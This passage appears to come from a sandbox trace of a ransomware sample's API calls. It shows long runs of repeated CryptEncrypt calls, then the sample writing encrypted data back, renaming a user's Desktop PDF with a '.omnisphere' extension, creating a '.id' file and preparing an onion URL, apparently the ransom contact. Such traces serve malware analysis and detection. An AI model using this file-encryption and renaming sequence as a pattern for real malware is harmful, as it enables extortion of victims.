hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.806] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.807] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.808] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.809] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.810] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.812] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0163.812] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0163.812] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x8441, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.812] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0163.812] GetProcessHeap () returned 0x1600000 [0163.812] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x26a) returned 0x1774420 [0163.812] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\HVQiIJaQW.pdf" (normalized: "c:\\users\\fd1hvy\\desktop\\hvqiijaqw.pdf"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\HVQiIJaQW.pdf.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\hvqiijaqw.pdf.omnisphere")) returned 1 [0163.820] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\HVQiIJaQW.pdf.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\HVQiIJaQW.pdf.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\HVQiIJaQW.pdf.omnisphere.id" [0163.820] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\HVQiIJaQW.pdf.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\hvqiijaqw.pdf.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0163.825] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0163.826] CloseHandle (hObject=0x3bc) returned 1 [0163.827] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0163.827] CloseHandle (hObject=0x380) returned 1 [0163.827] SetEndOfFile (hFile=0x39c) returned 1 [0163.828] FlushFileBuffers (hFile=0x39c) returned 1 [0163.831] CloseHandle (hObject=0x39c) returned 1 [0163.831] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\HVQiIJaQW.pdf" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0163.831] GetProcessHeap () returned 0x1600000 [0163.831] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1774698 [0163.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0163.831] GetProcessHeap () returned 0x1600000 [0163.831] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17338b0 [0163.831] WideCharToMultiByte (in: CodePage=0x0, 